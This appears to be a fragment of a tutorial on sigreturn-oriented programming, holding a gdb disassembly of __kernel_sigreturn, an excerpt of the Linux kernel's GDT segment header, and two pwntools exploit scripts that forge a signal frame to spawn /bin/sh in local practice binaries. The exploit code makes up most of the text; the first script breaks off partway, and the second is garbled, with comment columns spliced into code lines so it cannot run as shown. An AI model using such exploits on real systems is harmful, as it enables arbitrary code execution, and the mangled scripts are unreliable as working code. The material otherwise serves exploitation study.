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gdb-peda$ x/3i 0xf7fd8de0
=> 0xf7fd8de0 <__kernel_sigreturn>:	pop    eax
   0xf7fd8de1 <__kernel_sigreturn+1>:	mov    eax,0x77
   0xf7fd8de6 <__kernel_sigreturn+6>:	int    0x80
gdb-peda$ 

#else /* 64-bit: */

#include <asm/cache.h>

#define GDT_ENTRY_KERNEL32_CS		1
#define GDT_ENTRY_KERNEL_CS		2
#define GDT_ENTRY_KERNEL_DS		3

/*
 * We cannot use the same code segment descriptor for user and kernel mode,
 * not even in long flat mode, because of different DPL.
 *
 * GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes
 * selectors:
 *
 *   if returning to 32-bit userspace: cs = STAR.SYSRET_CS,
 *   if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16,
 *
 * ss = STAR.SYSRET_CS+8 (in either case)
 *
 * thus USER_DS should be between 32-bit and 64-bit code selectors:
 */
#define GDT_ENTRY_DEFAULT_USER32_CS	4
#define GDT_ENTRY_DEFAULT_USER_DS	5
#define GDT_ENTRY_DEFAULT_USER_CS	6

/* Needs two entries */
#define GDT_ENTRY_TSS			8
/* Needs two entries */
#define GDT_ENTRY_LDT			10

#define GDT_ENTRY_TLS_MIN		12
#define GDT_ENTRY_TLS_MAX		14

/* Abused to load per CPU data from limit */
#define GDT_ENTRY_PER_CPU		15

/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			16

/*
 * Segment selector values corresponding to the above entries:
 *
 * Note, selectors also need to have a correct RPL,
 * expressed with the +3 value for user-space selectors:
 */
#define __KERNEL32_CS			(GDT_ENTRY_KERNEL32_CS*8)
#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER32_CS			(GDT_ENTRY_DEFAULT_USER32_CS*8 + 3)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER32_DS			__USER_DS
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __PER_CPU_SEG			(GDT_ENTRY_PER_CPU*8 + 3)

/* TLS indexes for 64-bit - hardcoded in arch_prctl(): */
#define FS_TLS				0
#define GS_TLS				1

#define GS_TLS_SEL			((GDT_ENTRY_TLS_MIN+GS_TLS)*8 + 3)
#define FS_TLS_SEL			((GDT_ENTRY_TLS_MIN+FS_TLS)*8 + 3)

#endif

• https://elixir.bootlin.com/linux/v4.4/source/arch/x86/include/asm/segment.h#L94
• https://elixir.bootlin.com/linux/v4.4/source/arch/x86/include/asm/segment.h#L175

from pwn import *
  
binary = ELF('./srop32')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49020
syscall = libcBase + 0x1d5de6
binsh = libcBase + 0x15902b
ksigreturn = libcBase + 0x1d5de0

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)

exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)
exploit += p32(0x0)
 
exploit += p32(0x0)         #GS
exploit += p32(0x0)         #FS
exploit += p32(0x0)         #ES
exploit += p32(0x0)         #DS
exploit += p32(0x0)         #EDI

from pwn import *
 
binary = ELF('./srop')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
  
libcBase = stackAddr - 0x49020
ksigreturn = libcBase + 0x1d5de1 
syscall = libcBase + 0x1d5de6 
binsh = libcBase + 0x15902b
 
print hex(libcBase)
print hex(sigreturn)
print hex(binsh)
print hex(syscall)
 
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)

exploit += p32(0x0)			#GS         #ESI
exploit += p32(0x0)			#FS         #EBP
exploit += p32(0x0)			#ESsyscall)     #ESP
exploit += p32(0x0)			#DS	binsh)       #EBX
exploit += p32(0x0)			#EDI         #EDX
exploit += p32(0x0)			#ESI         #ECX
exploit += p32(0x0)			#EBP0xb)         #EAX
exploit += p32(syscall)		#ESP0x0)         #trapno
exploit += p32(binsh)		#EBX0x0)         #err
 
exploit += p32(0x0)			#EDX
exploit += p32(0x0)			#ECXsyscall)     #EIP
#Runed a 32bit program in the 64bit operation system.
exploit += p32(0xb)			#EAX0x23)        #CS
exploit += p32(0x0)			#trapno         #eflags
exploit += p32(0x0)			#err

         #esp_atsignal
exploit += p32(syscall)		#EIP
exploit0x2b)        #SS
#Runed a 32bit program in the 32bit operation system.
#exploit += p32(0x23)		0x73)        #CS
exploit#exploit += p32(0x0)			         #eflags
exploit#exploit += p32(0x0)			         #esp_atsignal
exploit#exploit += p32(0x2b)		0x7b)        #SS
 
p.send(exploit)
p.interactive()